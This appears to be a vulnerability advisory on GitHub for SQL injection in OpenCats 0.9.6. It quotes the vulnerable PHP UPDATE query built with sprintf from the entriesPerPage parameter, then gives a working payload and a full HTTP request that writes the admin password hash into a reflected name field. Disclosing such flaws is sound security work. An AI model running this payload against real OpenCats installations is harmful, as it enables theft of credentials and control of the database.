hansmach1ne Update SQLI_JobOrders.md History

1 contributor

22 lines (13 sloc) | 1.3 KB

SQL injection vulnerability in OpenCats 'Job Orders'

OpenCats version 0.9.6 PHP7.2 suffers from SQL injection vulnerability. This allows attackers control over the application's database.

User has control over entriesPerPage variable, which allows SQL injection in UPDATE statement, setPipelineEntriesPerPage function call.

SQL query code:

```
1059    public function setPipelineEntriesPerPage($entriesPerPage)
1060    {
1061        $db = DatabaseConnection::getInstance();
1062
1063        $sql = sprintf(
1064            "UPDATE
1065                user
1066             SET
1067                pipeline_entries_per_page = %s
1068            WHERE
1069                user_id = %s
1070            AND
1071                site_id = %s",
1072            $entriesPerPage,
1073            $this->_userID,
1074            $this->_siteID
1075        );
1076        $rs = $db->query($sql);
1077
1078        $this->_pipelineEntriesPerPage = $entriesPerPage;
1079    }
1080
```

Since UPDATE statement is used to query the database, user can add arbitrary values to arbitrary columns inside 'user' table. Knowing this, it is possible to craft payload like:
`15,first_name=(select password from user where user_id=1 limit 1)`

This will update 'first_name' with arbitrary data from database. In this example user's password hash will be written inside first_name column. Since, first name is reflected in many endpoints in application, this means malicious person can exfiltrate data and control the database using it as a field to extract data. Attackers can also use blind sql injection techniques to extract db information.

```
POST /opencats/ajax.php HTTP/1.1
Host: 192.168.203.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0)
Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 240
Origin: http://192.168.203.135
Connection: close
Referer:
http://192.168.203.135/opencats/index.php?m=joborders&a=show&jobO
rderID=3
Cookie: CATS=5ftrolidomh4agmcl9qk809vcs

f=getPipelineJobOrder&joborderID=3&page=0&entriesPerPage=
15,first_name=(select+password+from+user+where+user_id=1+limit+1)
&sortBy=dateCreatedInt&sortDirection=desc&indexFile=index.php&
isPopup=0&rhash=47890778&CATS=5ftrolidomh4agmcl9qk809vcs
```